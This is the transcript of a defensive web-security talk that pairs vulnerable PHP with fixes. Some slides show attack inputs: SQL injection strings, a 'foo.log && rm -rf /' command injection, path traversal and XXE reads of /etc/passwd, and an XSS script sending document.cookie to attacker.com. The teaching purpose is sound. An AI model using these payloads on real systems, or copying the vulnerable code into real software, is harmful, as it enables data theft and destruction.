Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Proactive web security

Proactive web security

Keeping your web application secure and free from vulnerabilities is hard work, even if you know the OWASP Top 10. In this talk I will show tools, best practices and patterns to help you with this, so that you can find security issues before an attacker does and even prevent them in the first place.

Bastian Hofmann

March 13, 2019
Tweet

More Decks by Bastian Hofmann

Other Decks in Programming

Transcript

  1. “There are nearly 30,000 [MongoDB] instances on the Internet that

    don't have any authorization enabled” https:/ /blog.shodan.io/its-the-data-stupid/
  2. $ nmap scanme.nmap.org Starting Nmap 7.60 … Not shown: 994

    closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 9929/tcp open nping-echo
  3. <?php $userId = $_GET[‘userId’]; $sql = ‘SELECT * FROM users

    WHERE id =‘ . $userId; $mysqli->query($sql);
  4. <?php // 12 OR TRUE $userId = $_GET[‘userId’]; $sql =

    ‘SELECT * FROM users WHERE id =‘ . $userId; $mysqli->query($sql);
  5. <?php // 12; drop table users; $userId = $_GET[‘userId’]; $sql

    = ‘SELECT * FROM users WHERE id =‘ . $userId; $mysqli->query($sql);
  6. <?php $name = $_GET[‘name’]; $name = $mysqli->real_escape_string($name); $sql = ‘SELECT

    * FROM users WHERE name = ’ . $name; $mysqli->query($sql);
  7. <?php $userId = (int) $_GET[‘userId’]; $rsm = new ResultSetMapping(); $query

    = $entityManager->createNativeQuery( 'SELECT * FROM users WHERE userId = ?', $rsm ); $query->setParameter(1, $userId); $users = $query->getResult();
  8. <?php $client = new \GuzzleHttp\Client(); $res = $client->request( 'GET', //

    6&admin=true 'https://api.com/path/?id=' . $_GET[‘id'] );
  9. <?php // foo.log && rm -rf / $logFile = $_GET['logFile'];

    passthru( 'cat ' . __DIR__ . '/logs/' . $logFile );
  10. <?php // ../../../etc/passwd $logFile = $_GET['logFile']; passthru( 'cat ' .

    escapeshellarg( __DIR__ . '/logs/' . $logFile ) );
  11. <?php $logFile = $_GET['logFile']; if (!preg_match('/^[a-z]+\.log$/', $logFile) { throw new

    \Exception('Invalid file name'); } passthru( 'cat ' . escapeshellarg( __DIR__ . '/' . $logFile ) );
  12. <?php $logFile = $_GET['logFile']; $file = realpath(__DIR__ . '/logs/' .

    $logFile); if (dirname($file) !== __DIR__ . '/logs') { throw \Exception('Invalid file'); } passthru( 'cat ' . escapeshellarg( $file ) );
  13. <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY >

    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
  14. OS

  15. localhost (centos7.3.1611) ========================== Total: 109 (High:35 Medium:55 Low:16 ?:3) 31

    updatable packages CVE-2015-2806 10.0 HIGH (nvd) Stack-based buffer overflow in asn1_der_decoding in libtasn1 before 4.4 allows remote attackers to have unspecified impact via unknown vectors.
  16. 14:06:40.337900 IP6 (flowlabel 0xbb911, hlim 57, next- header TCP (6)

    payload length: 549) muc11s14-in-x0e. 1e100.net.http > 2a02:8109:9880:2e9c:94b4:a371:f1b3:b82b. 60808: Flags [P.], cksum 0x4ae9 (correct), seq 1:518, ack 75, win 106, options [nop,nop,TS val 2632812618 ecr 335746159], length 517: HTTP, length: 517 HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Location: http://www.google.de/? gfe_rd=cr&dcr=0&ei=4LJYWo6FFKiF8Qe9w63gAQ Content-Length: 268 Date: Fri, 12 Jan 2018 13:06:40 GMT
  17. TLS

  18. $ curl -I http://www.researchgate.net HTTP/1.1 301 Moved Permanently Content-Length: 178

    Content-Type: text/html Date: Fri, 12 Jan 2018 13:02:35 GMT Location: https://www.researchgate.net/ Server: nginx Connection: keep-alive
  19. “Less then 10 percent of all Google users use Two-Factor-

    Authentication” http:/ /uk.pcmag.com/news/92919/most-google-accounts-dont-use-two-factor- authentication
  20. <?php $plaintext = $sessionId . '/' . $userId . '/'

    . time(); $nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES); $token = base64_encode($nonce . sodium_crypto_secretbox($plaintext, $nonce, $key));
  21. <?php $token = $_POST['csrf_token']; $nonce = substr( $token, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES

    ); $crypt = substr( $token, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES ); $plaintext = sodium_crypto_secretbox_open($crypt, $nonce, $key); [$sessionId, $userId, $time] = explode('/', $plaintext); // …
  22. if ( $sessionId !== session_id() || $userId !== $_SESSION['userId'] ||

    time() - $time > 7200 ) { throw \Exception('Invalid csrf token'); }
  23. Because of the Cross Origin Policy an attacker can not

    get hold of a matching CSRF token
  24. <html> <body> <div> User generated comment <script> fetch( 'http://attacker.com/?cookies=' +

    document.cookie ) </script> that comes from database </div> </body> </html>
  25. {% autoescape "html" %} <html> <body> <div> {{ comment }}

    </div> </body> </html> {% endautoescape %}
  26. $expire = 0; $path = ''; $domain = ''; $secure

    = true; $httpOnly = true; setcookie( 'sessionId', '...', $expire, $path, $domain, $secure, $httpOnly );
  27. <script> if ( typeof console === 'object' && console.log )

    { console.log( '%cWARNING!', 'color:white; background:red;' ); ... } </script>